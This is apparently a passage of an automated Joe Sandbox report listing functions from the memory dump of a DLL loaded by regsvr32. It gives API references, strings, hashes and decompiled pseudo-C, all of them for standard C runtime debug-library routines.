f:\dd\vctools\crt_bld\self_64_amd64\crt\src\wcstombs.c, xrefs: 000007FEF9D3764B, 000007FEF9D37688
_wcstombs_l_helper, xrefs: 000007FEF9D3768F

Memory Dump Source

Source File: 00000003.00000002.927302319.000007FEF9D21000.00000020.00000001.01000000.00000005.sdmp, Offset: 000007FEF9D20000, based on PE: true

Associated: 00000003.00000002.927297170.000007FEF9D20000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.927319388.000007FEF9D42000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.927327720.000007FEF9D4B000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.927337335.000007FEF9D4F000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7fef9d20000_regsvr32.jbxd

Similarity

API ID: _invalid_parameter
String ID: _wcstombs_l_helper$f:\dd\vctools\crt_bld\self_64_amd64\crt\src\wcstombs.c$pwcs != NULL
API String ID: 2123368286-2992382544
Opcode ID: 4e01e6c780b0bcb150885d639f6c4af62c750d2377cec983ef0e9e7992ea6864
Instruction ID: 6b038216fd5801b421c61b74e1935d340daef546a177eff3ea16a7a1b838ed42
Opcode Fuzzy Hash: 4e01e6c780b0bcb150885d639f6c4af62c750d2377cec983ef0e9e7992ea6864
Instruction Fuzzy Hash: EE112831A08A86D5E7F08B24EC547BE62D0F388355FA0862581DD826E5CF7ED184CB01

Uniqueness

Uniqueness Score: -1.00%

Function 000007FEF9D3AFB0 Relevance: 7.0, APIs: 1, Strings: 3, Instructions: 38COMMONLIBRARYCODE

Download Yara Rule

APIs

_invalid_parameter.LIBCMTD ref: 000007FEF9D3B046

Strings

(stream != NULL), xrefs: 000007FEF9D3AFE2, 000007FEF9D3B03F
_fileno, xrefs: 000007FEF9D3B038
f:\dd\vctools\crt_bld\self_64_amd64\crt\src\fileno.c, xrefs: 000007FEF9D3AFF7, 000007FEF9D3B031

Memory Dump Source

Source File: 00000003.00000002.927302319.000007FEF9D21000.00000020.00000001.01000000.00000005.sdmp, Offset: 000007FEF9D20000, based on PE: true

Associated: 00000003.00000002.927297170.000007FEF9D20000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.927319388.000007FEF9D42000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.927327720.000007FEF9D4B000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.927337335.000007FEF9D4F000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7fef9d20000_regsvr32.jbxd

Similarity

API ID: _invalid_parameter
String ID: (stream != NULL)$_fileno$f:\dd\vctools\crt_bld\self_64_amd64\crt\src\fileno.c
API String ID: 2123368286-3532421942
Opcode ID: 96c485b728b13626416908fd91ead62eaa4a9a456ff5e75182e25aa9e0b6060d
Instruction ID: a908f33eec800d0b641dcce84a446a4f1bc570cb1104d1739574f535c1af449d
Opcode Fuzzy Hash: 96c485b728b13626416908fd91ead62eaa4a9a456ff5e75182e25aa9e0b6060d
Instruction Fuzzy Hash: 2D115771A2D6468AE7949B54E948B6E73E0F380344F605125F6DD43AA8C7BED508CB01

Uniqueness

Uniqueness Score: -1.00%

Function 000007FEF9D37E4E Relevance: 7.0, APIs: 1, Strings: 3, Instructions: 38COMMON

Download Yara Rule

APIs

_invalid_parameter.LIBCMTD ref: 000007FEF9D37EF4

Strings

(dst != NULL && sizeInBytes > 0) || (dst == NULL && sizeInBytes == 0), xrefs: 000007FEF9D37E90, 000007FEF9D37EED
f:\dd\vctools\crt_bld\self_64_amd64\crt\src\wcstombs.c, xrefs: 000007FEF9D37EA5, 000007FEF9D37EDF
_wcstombs_s_l, xrefs: 000007FEF9D37EE6

Memory Dump Source

Source File: 00000003.00000002.927302319.000007FEF9D21000.00000020.00000001.01000000.00000005.sdmp, Offset: 000007FEF9D20000, based on PE: true

Associated: 00000003.00000002.927297170.000007FEF9D20000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.927319388.000007FEF9D42000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.927327720.000007FEF9D4B000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.927337335.000007FEF9D4F000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7fef9d20000_regsvr32.jbxd

Similarity

API ID: _invalid_parameter
String ID: (dst != NULL && sizeInBytes > 0) || (dst == NULL && sizeInBytes == 0)$_wcstombs_s_l$f:\dd\vctools\crt_bld\self_64_amd64\crt\src\wcstombs.c
API String ID: 2123368286-152112980
Opcode ID: 12ab011e70e09e91856032674ad216f6478f48f1fa811ad172dce2a736ade8bc
Instruction ID: 92758ea50bb160a3fa02acdedbd4276cd578df270f1ec03c6948689f63d256e2
Opcode Fuzzy Hash: 12ab011e70e09e91856032674ad216f6478f48f1fa811ad172dce2a736ade8bc
Instruction Fuzzy Hash: B7110331A1CA83C9F7A09B54EC047AEB6E0F340345F604425D6C8466A4CBBEE8888B02

Uniqueness

Uniqueness Score: -1.00%

Function 000007FEF9D234D5 Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 36threadCOMMON

Download Yara Rule

APIs

_calloc_dbg.LIBCMTD ref: 000007FEF9D234F9

Part of subcall function 000007FEF9D24980: _calloc_dbg_impl.LIBCMTD ref: 000007FEF9D249C6

FlsSetValue.KERNEL32 ref: 000007FEF9D23516

Part of subcall function 000007FEF9D23E30: _unlock.LIBCMTD ref: 000007FEF9D23EC2
Part of subcall function 000007FEF9D23E30: _unlock.LIBCMTD ref: 000007FEF9D23F1C

GetCurrentThreadId.KERNEL32 ref: 000007FEF9D2352C

Strings

f:\dd\vctools\crt_bld\self_64_amd64\crt\src\dllcrt0.c, xrefs: 000007FEF9D234E2

Memory Dump Source

Source File: 00000003.00000002.927302319.000007FEF9D21000.00000020.00000001.01000000.00000005.sdmp, Offset: 000007FEF9D20000, based on PE: true

Associated: 00000003.00000002.927297170.000007FEF9D20000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.927319388.000007FEF9D42000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.927327720.000007FEF9D4B000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.927337335.000007FEF9D4F000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7fef9d20000_regsvr32.jbxd

Similarity

API ID: _unlock$CurrentThreadValue_calloc_dbg_calloc_dbg_impl
String ID: f:\dd\vctools\crt_bld\self_64_amd64\crt\src\dllcrt0.c
API String ID: 433497747-929597301
Opcode ID: 659d91e782a8862001f0c3efa2abcda19efd609cd314a8a22f2ba95e8e412daa
Instruction ID: a509fa70e7a1a5ff7154c4a485401b757d9bccf253ee3a6eb315a1ba73516cba
Opcode Fuzzy Hash: 659d91e782a8862001f0c3efa2abcda19efd609cd314a8a22f2ba95e8e412daa
Instruction Fuzzy Hash: 25012D21A2C64282F3D09B65EC4473EA2E0F784B50F719275A9DE426F5CF3FE4018A01

Uniqueness

Uniqueness Score: -1.00%

Function 000007FEF9D3206A Relevance: 7.0, APIs: 1, Strings: 3, Instructions: 35COMMON

Download Yara Rule

APIs

_invalid_parameter.LIBCMTD ref: 000007FEF9D320FA

Strings

f:\dd\vctools\crt_bld\self_64_amd64\crt\src\vsprintf.c, xrefs: 000007FEF9D320AB, 000007FEF9D320E5
(count == 0) || (string != NULL), xrefs: 000007FEF9D32096, 000007FEF9D320F3
_vsnprintf_helper, xrefs: 000007FEF9D320EC

Memory Dump Source

Source File: 00000003.00000002.927302319.000007FEF9D21000.00000020.00000001.01000000.00000005.sdmp, Offset: 000007FEF9D20000, based on PE: true

Associated: 00000003.00000002.927297170.000007FEF9D20000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.927319388.000007FEF9D42000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.927327720.000007FEF9D4B000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.927337335.000007FEF9D4F000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7fef9d20000_regsvr32.jbxd

Similarity

API ID: _invalid_parameter
String ID: (count == 0) || (string != NULL)$_vsnprintf_helper$f:\dd\vctools\crt_bld\self_64_amd64\crt\src\vsprintf.c
API String ID: 2123368286-3131718208
Opcode ID: 6707a3a661624c28ef46bf525b659d524432ea2cd8b3632390f46d17d0644e77
Instruction ID: 5c692777b4ebe1842fa8b4633668c7a74dcbf255a9000a4830a35d89f8dfec26
Opcode Fuzzy Hash: 6707a3a661624c28ef46bf525b659d524432ea2cd8b3632390f46d17d0644e77
Instruction Fuzzy Hash: 64113571E086469AF7A08B28ED047BE62E0F344708F608225A7EC076F5D77EE548CF41

Uniqueness

Uniqueness Score: -1.00%

Function 000007FEF9D31FCB Relevance: 7.0, APIs: 1, Strings: 3, Instructions: 32COMMON

Download Yara Rule

APIs

_invalid_parameter.LIBCMTD ref: 000007FEF9D32050

Strings

f:\dd\vctools\crt_bld\self_64_amd64\crt\src\vsprintf.c, xrefs: 000007FEF9D32001, 000007FEF9D3203B
(format != NULL), xrefs: 000007FEF9D31FEC, 000007FEF9D32049
_vsnprintf_helper, xrefs: 000007FEF9D32042

Memory Dump Source

Source File: 00000003.00000002.927302319.000007FEF9D21000.00000020.00000001.01000000.00000005.sdmp, Offset: 000007FEF9D20000, based on PE: true

Associated: 00000003.00000002.927297170.000007FEF9D20000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.927319388.000007FEF9D42000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.927327720.000007FEF9D4B000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.927337335.000007FEF9D4F000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7fef9d20000_regsvr32.jbxd

Similarity

API ID: _invalid_parameter
String ID: (format != NULL)$_vsnprintf_helper$f:\dd\vctools\crt_bld\self_64_amd64\crt\src\vsprintf.c
API String ID: 2123368286-1927795013
Opcode ID: 1d868900bb9e5cb9c38cd3d3fc38e86365b4ebb9b902cb6620b71e05e16b40fa
Instruction ID: 0384ac4a385dd8b2ed67f657b87bd2987707cc06f4fd1891b24df9f5e25f1ad6
Opcode Fuzzy Hash: 1d868900bb9e5cb9c38cd3d3fc38e86365b4ebb9b902cb6620b71e05e16b40fa
Instruction Fuzzy Hash: D7010832E0C646D6F7A08B68EC057AD66D0B380354F704225A69C066F9DB7EE585CB01

Uniqueness

Uniqueness Score: -1.00%

Function 000007FEF9D25A25 Relevance: 7.0, APIs: 1, Strings: 3, Instructions: 31COMMON

Download Yara Rule

APIs

_invalid_parameter.LIBCMTD ref: 000007FEF9D25AAA

Strings

_msize_dbg, xrefs: 000007FEF9D25A9C
pUserData != NULL, xrefs: 000007FEF9D25A46, 000007FEF9D25AA3
f:\dd\vctools\crt_bld\self_64_amd64\crt\src\dbgheap.c, xrefs: 000007FEF9D25A5B, 000007FEF9D25A95

Memory Dump Source

Source File: 00000003.00000002.927302319.000007FEF9D21000.00000020.00000001.01000000.00000005.sdmp, Offset: 000007FEF9D20000, based on PE: true

Associated: 00000003.00000002.927297170.000007FEF9D20000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.927319388.000007FEF9D42000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.927327720.000007FEF9D4B000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.927337335.000007FEF9D4F000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7fef9d20000_regsvr32.jbxd

Similarity

API ID: _invalid_parameter
String ID: _msize_dbg$f:\dd\vctools\crt_bld\self_64_amd64\crt\src\dbgheap.c$pUserData != NULL
API String ID: 2123368286-563024394
Opcode ID: 6b9fa116098faf353e1ca7c3b3c6506904e65b16bd6a9e65c326709190a7893b
Instruction ID: fd38c362069ef75f6546e890191a2209ff1da2573c153e25103ddfba7490d183
Opcode Fuzzy Hash: 6b9fa116098faf353e1ca7c3b3c6506904e65b16bd6a9e65c326709190a7893b
Instruction Fuzzy Hash: EA011A3190964A86EBA09F14EC417AE32E0F355328FA14226D29C466E4DB7FE545CB41

Uniqueness

Uniqueness Score: -1.00%

Function 000007FEF9D325F6 Relevance: 7.0, APIs: 1, Strings: 3, Instructions: 31COMMON

Download Yara Rule

APIs

_invalid_parameter.LIBCMTD ref: 000007FEF9D3267B

Strings

f:\dd\vctools\crt_bld\self_64_amd64\crt\src\vsprintf.c, xrefs: 000007FEF9D3262C, 000007FEF9D32666
_vsnprintf_s_l, xrefs: 000007FEF9D3266D
format != NULL, xrefs: 000007FEF9D32617, 000007FEF9D32674

Memory Dump Source

Source File: 00000003.00000002.927302319.000007FEF9D21000.00000020.00000001.01000000.00000005.sdmp, Offset: 000007FEF9D20000, based on PE: true

Associated: 00000003.00000002.927297170.000007FEF9D20000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.927319388.000007FEF9D42000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.927327720.000007FEF9D4B000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.927337335.000007FEF9D4F000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7fef9d20000_regsvr32.jbxd

Similarity

API ID: _invalid_parameter
String ID: _vsnprintf_s_l$f:\dd\vctools\crt_bld\self_64_amd64\crt\src\vsprintf.c$format != NULL
API String ID: 2123368286-577066449
Opcode ID: 618b2cf93d4d6d117bb096a419223036f434eaf0351198b3217c601cf8511035
Instruction ID: 02d1b78a9e545c30370c255a3c9a69dd209a03738a12318584891449022be9b6
Opcode Fuzzy Hash: 618b2cf93d4d6d117bb096a419223036f434eaf0351198b3217c601cf8511035
Instruction Fuzzy Hash: 8F017831E0C64ACAF7E08B54EC847AD26E0F794394FB09535A6DD466F8CB7EE5448B01

Uniqueness

Uniqueness Score: -1.00%

Function 000007FEF9D27490 Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 17libraryloaderCOMMONLIBRARYCODE

Download Yara Rule

APIs

GetModuleHandleW.KERNEL32(?,?,?,?,?,?,000007FEF9D274F1), ref: 000007FEF9D2749F
GetProcAddress.KERNEL32 ref: 000007FEF9D274BE

Strings

mscoree.dll, xrefs: 000007FEF9D27498
CorExitProcess, xrefs: 000007FEF9D274B2

Memory Dump Source

Source File: 00000003.00000002.927302319.000007FEF9D21000.00000020.00000001.01000000.00000005.sdmp, Offset: 000007FEF9D20000, based on PE: true

Associated: 00000003.00000002.927297170.000007FEF9D20000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.927319388.000007FEF9D42000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.927327720.000007FEF9D4B000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.927337335.000007FEF9D4F000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7fef9d20000_regsvr32.jbxd

Similarity

API ID: AddressHandleModuleProc
String ID: CorExitProcess$mscoree.dll
API String ID: 1646373207-1276376045
Opcode ID: 13d0b91207a4789fb824e3953cfc7806df79015e4e72068d0de0f8a7d22cb74d
Instruction ID: 7d77de13c6c7ff31230b68e177806ee2c45e09dad43843c6dfa61805c8a48305
Opcode Fuzzy Hash: 13d0b91207a4789fb824e3953cfc7806df79015e4e72068d0de0f8a7d22cb74d
Instruction Fuzzy Hash: 97F0AC32918A4282D674DB18F94836DB7F0F388348F644125D6CE42678DF3ED559CA04

Uniqueness

Uniqueness Score: -1.00%

Function 000007FEF9D40C80 Relevance: 6.1, APIs: 4, Instructions: 59
COMMON

Download Yara Rule

C-Code - Quality: 41%

			E000007FE7FEF9D40C80(signed int __ecx, void* __eflags, void* __rax, void* __r8, signed int _a8) {
				signed long long _v16;
				long _v24;
				void* _t57;
				signed long long _t59;

				_t57 = __rax;
				_a8 = __ecx;
				E000007FE7FEF9D3F900(_a8);
				if (_t57 == 0xffffffff) goto 0xf9d40d05;
				if (_a8 != 1) goto 0xf9d40cb3;
				if (( *( *0xf9d4e560 + 0xb8) & 0x00000001) != 0) goto 0xf9d40ccc;
				if (_a8 != 2) goto 0xf9d40cef;
				_t59 =  *0xf9d4e560;
				if (( *(_t59 + 0x60) & 0x00000001) == 0) goto 0xf9d40cef;
				E000007FE7FEF9D3F900(1);
				_v16 = _t59;
				E000007FE7FEF9D3F900(2);
				if (_v16 == _t59) goto 0xf9d40d05;
				E000007FE7FEF9D3F900(_a8);
				if (CloseHandle(??) == 0) goto 0xf9d40d0f;
				_v24 = 0;
				goto 0xf9d40d19;
				_v24 = GetLastError();
				E000007FE7FEF9D3F7D0(_a8, _t59);
				 *((char*)( *((intOrPtr*)(0xf9d4e560 + _t59 * 8)) + 8 + (_a8 & 0x0000001f) * 0x58)) = 0;
				if (_v24 == 0) goto 0xf9d40d60;
				E000007FE7FEF9D2AA70(_v24,  *((intOrPtr*)(0xf9d4e560 + _t59 * 8)));
				goto 0xf9d40d62;
				return 0;
			}

0x7fef9d40c80
0x7fef9d40c80
0x7fef9d40c8c
0x7fef9d40c95
0x7fef9d40c9c
0x7fef9d40cb1
0x7fef9d40cb8
0x7fef9d40cba
0x7fef9d40cca
0x7fef9d40cd1
0x7fef9d40cd6
0x7fef9d40ce0
0x7fef9d40ced
0x7fef9d40cf3
0x7fef9d40d03
0x7fef9d40d05
0x7fef9d40d0d
0x7fef9d40d15
0x7fef9d40d1d
0x7fef9d40d44
0x7fef9d40d4e
0x7fef9d40d54
0x7fef9d40d5e
0x7fef9d40d66

APIs

Part of subcall function 000007FEF9D3F900: __doserrno.LIBCMTD ref: 000007FEF9D3F913

CloseHandle.KERNEL32 ref: 000007FEF9D40CFB
GetLastError.KERNEL32 ref: 000007FEF9D40D0F
_free_osfhnd.LIBCMTD ref: 000007FEF9D40D1D
_dosmaperr.LIBCMTD ref: 000007FEF9D40D54

Memory Dump Source

Source File: 00000003.00000002.927302319.000007FEF9D21000.00000020.00000001.01000000.00000005.sdmp, Offset: 000007FEF9D20000, based on PE: true

Associated: 00000003.00000002.927297170.000007FEF9D20000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.927319388.000007FEF9D42000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.927327720.000007FEF9D4B000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.927337335.000007FEF9D4F000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7fef9d20000_regsvr32.jbxd

Similarity

API ID: CloseErrorHandleLast__doserrno_dosmaperr_free_osfhnd
String ID:
API String ID: 1551955814-0
Opcode ID: 539147ec8a9783b9fa5ff2985af3543efd94603151f732987cc3c022e13e7d90
Instruction ID: de0ed08be9decc95e7dd14c86c95eccfc4319969b2c7c8741dbc19f533f0ba9a
Opcode Fuzzy Hash: 539147ec8a9783b9fa5ff2985af3543efd94603151f732987cc3c022e13e7d90
Instruction Fuzzy Hash: 4A219F32A0C64686E7A49B28EC4133E72E1F781355F348235E6DD46AF9DB2EE845CF01

Uniqueness

Uniqueness Score: -1.00%

Function 000007FEF9D21000 Relevance: 6.0, APIs: 4, Instructions: 47threadtimeCOMMON

Download Yara Rule

APIs

GetThreadLocale.KERNEL32 ref: 000007FEF9D2101D
GetDateFormatA.KERNEL32 ref: 000007FEF9D21038
GetThreadLocale.KERNEL32 ref: 000007FEF9D2106F
GetTimeFormatA.KERNEL32 ref: 000007FEF9D2108A

Memory Dump Source

Source File: 00000003.00000002.927302319.000007FEF9D21000.00000020.00000001.01000000.00000005.sdmp, Offset: 000007FEF9D20000, based on PE: true

Associated: 00000003.00000002.927297170.000007FEF9D20000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.927319388.000007FEF9D42000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.927327720.000007FEF9D4B000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.927337335.000007FEF9D4F000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7fef9d20000_regsvr32.jbxd

Similarity

API ID: FormatLocaleThread$DateTime
String ID:
API String ID: 3587784874-0
Opcode ID: 6ab24f3c8d7cd050487db91c395009c2fe45c414da0b1ba1062a45228bb8b770
Instruction ID: 0d03bf333fdb9b17262424d59d82d7c7719cce37cb4ba974854027563787c74d
Opcode Fuzzy Hash: 6ab24f3c8d7cd050487db91c395009c2fe45c414da0b1ba1062a45228bb8b770
Instruction Fuzzy Hash: 3311E33160878086E3608F68F94025EB7E0F748BA4F648724EF9D47BA8CB3ED1418700

Uniqueness

Uniqueness Score: -1.00%

Function 000007FEF9D2A5E0 Relevance: 5.4, APIs: 1, Strings: 2, Instructions: 198
COMMONLIBRARYCODE

Download Yara Rule

C-Code - Quality: 23%

			E000007FE7FEF9D2A5E0(long long __rcx, void* _a8) {
				signed int _v24;
				char _v42;
				void* _v48;
				signed int _v56;
				char _v312;
				signed char* _v328;
				char _v584;
				char _v840;
				char _v1352;
				char _v1384;
				char _v1392;
				intOrPtr _v1400;
				long long _v1408;
				long long _v1416;
				signed long long _t206;
				signed char* _t214;
				signed long long _t223;
				intOrPtr _t225;
				intOrPtr _t226;
				signed long long _t233;

				_t224 = __rcx;
				_a8 = __rcx;
				_t206 =  *0xf9d4b018; // 0x6ebcb970bf84
				_v24 = _t206 ^ _t233;
				if (GetCPInfo(??, ??) == 0) goto 0xf9d2a906;
				_v56 = 0;
				goto 0xf9d2a63c;
				_v56 = _v56 + 1;
				if (_v56 - 0x100 >= 0) goto 0xf9d2a661;
				 *((char*)(_t233 + _a8 + 0x470)) = _v56 & 0x000000ff;
				goto 0xf9d2a62c;
				_v312 = 0x20;
				_v328 =  &_v42;
				goto 0xf9d2a68f;
				_v328 =  &(_v328[2]);
				if (( *_v328 & 0x000000ff) == 0) goto 0xf9d2a6ea;
				_v56 =  *_v328 & 0x000000ff;
				goto 0xf9d2a6c2;
				_v56 = _v56 + 1;
				_t214 = _v328;
				if (_v56 - ( *(_t214 + 1) & 0x000000ff) > 0) goto 0xf9d2a6e8;
				 *((char*)(_t233 + _t214 + 0x470)) = 0x20;
				goto 0xf9d2a6b2;
				goto 0xf9d2a67b;
				_v1392 = 0;
				_v1400 =  *((intOrPtr*)(_a8 + 0xc));
				_v1408 =  *((intOrPtr*)(_a8 + 4));
				_v1416 =  &_v1352;
				r9d = 0x100;
				E000007FE7FEF9D2F4D0(1,  &_v1352, __rcx,  &_v312);
				_v1384 = 0;
				_v1392 =  *((intOrPtr*)(_a8 + 4));
				_v1400 = 0x100;
				_v1408 =  &_v840;
				_v1416 = 0x100;
				r8d = 0x100;
				E000007FE7FEF9D2EF00( *((intOrPtr*)(_a8 + 0xc)), _a8, _t224,  &_v312);
				_v1384 = 0;
				_v1392 =  *((intOrPtr*)(_a8 + 4));
				_v1400 = 0x100;
				_v1408 =  &_v584;
				_v1416 = 0x100;
				r8d = 0x200;
				_t223 = _a8;
				E000007FE7FEF9D2EF00( *((intOrPtr*)(_t223 + 0xc)), _t223, _t224,  &_v312);
				_v56 = 0;
				_v56 = _v56 + 1;
				if (_v56 - 0x100 >= 0) goto 0xf9d2a901;
				if (( *(_t233 + 0x60 + _t223 * 2) & 1) == 0) goto 0xf9d2a879;
				_t225 = _a8;
				 *((char*)(_a8 + _t225 + 0x1c)) =  *(_t225 + _t223 + 0x1c) & 0x000000ff | 0x00000010;
				 *((char*)(_a8 + _t225 + 0x11d)) =  *(_t233 + _t223 + 0x260) & 0x000000ff;
				goto 0xf9d2a8fc;
				if (( *(_t233 + 0x60 + _t223 * 2) & 2) == 0) goto 0xf9d2a8e5;
				_t226 = _a8;
				 *((char*)(_a8 + _t226 + 0x1c)) =  *(_t226 + _t223 + 0x1c) & 0x000000ff | 0x00000020;
				 *((char*)(_a8 + _t226 + 0x11d)) =  *(_t233 + _t223 + 0x360) & 0x000000ff;
				goto 0xf9d2a8fc;
				 *((char*)(_a8 + _t223 + 0x11d)) = 0;
				goto L1;
				goto 0xf9d2aa20;
				_v56 = 0;
				_v56 = _v56 + 1;
				_v56 = _v56 + 1;
				if (_v56 - 0x100 >= 0) goto 0xf9d2aa20;
				if (_v56 - 0x41 < 0) goto 0xf9d2a99c;
				if (_v56 - 0x5a > 0) goto 0xf9d2a99c;
				_v56 = _v56 + 1;
				__rcx = _a8;
				 *(__rcx + __rax + 0x1c) & 0x000000ff =  *(__rcx + __rax + 0x1c) & 0x000000ff | 0x00000010;
				_v56 = _v56 + 1;
				__rdx = _a8;
				 *((char*)(_a8 + __rcx + 0x1c)) = __al;
				_v56 = _v56 + 0x20;
				__ecx = _v56;
				__rdx = _a8;
				 *((char*)(_a8 + __rcx + 0x11d)) = __al;
				goto 0xf9d2aa1b;
				if (_v56 - 0x61 < 0) goto 0xf9d2aa04;
				if (_v56 - 0x7a > 0) goto 0xf9d2aa04;
				_v56 = _v56 + 1;
				__rcx = _a8;
				 *(__rcx + __rax + 0x1c) & 0x000000ff =  *(__rcx + __rax + 0x1c) & 0x000000ff | 0x00000020;
				_v56 = _v56 + 1;
				__rdx = _a8;
				 *((char*)(_a8 + __rcx + 0x1c)) = __al;
				_v56 = _v56 - 0x20;
				__ecx = _v56;
				__rdx = _a8;
				 *((char*)(__rdx + __rcx + 0x11d)) = __al;
				goto 0xf9d2aa1b;
				__eax = _v56;
				__rcx = _a8;
				 *((char*)(_a8 + __rax + 0x11d)) = 0;
				goto L2;
				__rcx = _v24;
				__rcx = _v24 ^ __rsp;
				return E000007FE7FEF9D23280(_v56, _v56, __edx, _v24 ^ __rsp, __rdx, __r8);
			}

0x7fef9d2a5e0
0x7fef9d2a5e0
0x7fef9d2a5ec
0x7fef9d2a5f6
0x7fef9d2a619
0x7fef9d2a61f
0x7fef9d2a62a
0x7fef9d2a635
0x7fef9d2a647
0x7fef9d2a658
0x7fef9d2a65f
0x7fef9d2a661
0x7fef9d2a671
0x7fef9d2a679
0x7fef9d2a687
0x7fef9d2a69c
0x7fef9d2a6a9
0x7fef9d2a6b0
0x7fef9d2a6bb
0x7fef9d2a6c2
0x7fef9d2a6d5
0x7fef9d2a6de
0x7fef9d2a6e6
0x7fef9d2a6e8
0x7fef9d2a6ea
0x7fef9d2a6fd
0x7fef9d2a70c
0x7fef9d2a715
0x7fef9d2a71a
0x7fef9d2a72f
0x7fef9d2a734
0x7fef9d2a747
0x7fef9d2a74b
0x7fef9d2a75b
0x7fef9d2a760
0x7fef9d2a770
0x7fef9d2a783
0x7fef9d2a788
0x7fef9d2a79b
0x7fef9d2a79f
0x7fef9d2a7af
0x7fef9d2a7b4
0x7fef9d2a7c4
0x7fef9d2a7ca
0x7fef9d2a7d7
0x7fef9d2a7dc
0x7fef9d2a7f2
0x7fef9d2a804
0x7fef9d2a81b
0x7fef9d2a828
0x7fef9d2a84b
0x7fef9d2a86d
0x7fef9d2a874
0x7fef9d2a88a
0x7fef9d2a897
0x7fef9d2a8ba
0x7fef9d2a8dc
0x7fef9d2a8e3
0x7fef9d2a8f4
0x7fef9d2a8fc
0x7fef9d2a901
0x7fef9d2a906
0x7fef9d2a91a
0x7fef9d2a91c
0x7fef9d2a92e
0x7fef9d2a93c
0x7fef9d2a946
0x7fef9d2a94f
0x7fef9d2a953
0x7fef9d2a960
0x7fef9d2a96a
0x7fef9d2a96e
0x7fef9d2a976
0x7fef9d2a981
0x7fef9d2a984
0x7fef9d2a98b
0x7fef9d2a993
0x7fef9d2a99a
0x7fef9d2a9a4
0x7fef9d2a9ae
0x7fef9d2a9b7
0x7fef9d2a9bb
0x7fef9d2a9c8
0x7fef9d2a9d2
0x7fef9d2a9d6
0x7fef9d2a9de
0x7fef9d2a9e9
0x7fef9d2a9ec
0x7fef9d2a9f3
0x7fef9d2a9fb
0x7fef9d2aa02
0x7fef9d2aa04
0x7fef9d2aa0b
0x7fef9d2aa13
0x7fef9d2aa1b
0x7fef9d2aa20
0x7fef9d2aa28
0x7fef9d2aa37

APIs

GetCPInfo.KERNEL32 ref: 000007FEF9D2A611

Strings

z, xrefs: 000007FEF9D2A9A6
, xrefs: 000007FEF9D2A6DE

Memory Dump Source

Source File: 00000003.00000002.927302319.000007FEF9D21000.00000020.00000001.01000000.00000005.sdmp, Offset: 000007FEF9D20000, based on PE: true

Associated: 00000003.00000002.927297170.000007FEF9D20000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.927319388.000007FEF9D42000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.927327720.000007FEF9D4B000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.927337335.000007FEF9D4F000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7fef9d20000_regsvr32.jbxd

Similarity

API ID: Info
String ID: $z
API String ID: 1807457897-2251613814
